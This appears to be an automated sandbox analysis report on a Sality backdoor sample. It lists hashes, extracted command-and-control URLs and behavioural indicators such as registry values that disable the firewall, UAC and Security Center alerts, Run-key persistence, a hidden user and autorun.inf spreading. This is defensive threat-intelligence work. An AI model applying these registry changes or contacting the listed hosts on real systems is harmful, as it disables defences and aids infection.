sality | a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b

Analysis

max time kernel
117s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
26-12-2024 13:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Size

272KB
MD5

0e0141fe51adfab0f9bd375552f6a2a4
SHA1

1087268bd2c062ecf09c91b4df50b58ced847784
SHA256

a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b
SHA512

339f91408efd7ed5ab5fe7e69986aff82ac7678a767bbda2056877d2f4556bc294c8aa279d9bc244e00da809091a408c6af9b373e76a916660fff0d65c3e606d
SSDEEP

3072:bnLyV3kF21im+YLzLyV3IlaaU7ZDNZSM5RtHFCD7:b4QmpctvNT5f4v

Score

10^/10

sality backdoor defense_evasion discovery evasion persistence trojan upx

Malware Config

Extracted

Family

sality

http://89.119.67.154/testo5/

http://kukutrustnet777.info/home.gif

http://kukutrustnet888.info/home.gif

http://kukutrustnet987.info/home.gif

Signatures

Modifies firewall policy service 3 TTPs 3 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DisableNotifications = "1"	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DoNotAllowExceptions = "0"	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe

Modifies visibility of file extensions in Explorer 2 TTPs 15 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe

Modifies visiblity of hidden/system files in Explorer 2 TTPs 15 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe

Sality
Sality is backdoor written in C++, first discovered in 2003.
backdoor sality
Sality family
sality

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe

Windows security bypass 2 TTPs 6 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UacDisableNotify = "1"	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Sets file to hidden 1 TTPs 9 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
4048	attrib.exe
5296	attrib.exe
4396	attrib.exe
5224	attrib.exe
5596	attrib.exe
5548	attrib.exe
5500	attrib.exe
5472	attrib.exe
5380	attrib.exe

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UacDisableNotify = "1"	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe

Adds Run key to start application 2 TTPs 29 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = " C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe

Enumerates connected drives 3 TTPs 22 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\L:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\O:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\Y:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\Z:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\E:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\I:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\N:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\Q:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\X:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\F:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\W:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\K:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\M:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\P:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\R:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\S:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\T:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\V:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\H:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\J:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened (read-only)	\??\U:	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Drops autorun.inf file 1 TTPs 6 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File opened for modification	F:\autorun.inf	attrib.exe
File opened for modification	C:\autorun.inf	attrib.exe
File opened for modification	C:\autorun.inf	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened for modification	F:\autorun.inf	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File created	C:\autorun.inf	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File created	F:\autorun.inf	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe

Hide Artifacts: Hidden Users 1 TTPs 1 IoCs

defense_evasion

Hidden Users

T1564.002

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist\SYS_4321 = "0"	reg.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5100-1-0x0000000002B20000-0x0000000003BDA000-memory.dmp	upx
behavioral2/memory/5100-2-0x0000000002B20000-0x0000000003BDA000-memory.dmp	upx
behavioral2/memory/5100-11-0x0000000002B20000-0x0000000003BDA000-memory.dmp	upx
behavioral2/memory/5100-21-0x0000000002B20000-0x0000000003BDA000-memory.dmp	upx
behavioral2/memory/5100-12-0x0000000002B20000-0x0000000003BDA000-memory.dmp	upx
behavioral2/memory/5100-229-0x0000000002B20000-0x0000000003BDA000-memory.dmp	upx

Drops file in Program Files directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\7-Zip\7zFM.exe	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened for modification	C:\Program Files\7-Zip\7z.exe	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\InspectorOfficeGadget.exe	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SYSTEM.INI	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
File created	C:\Windows\e578424	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
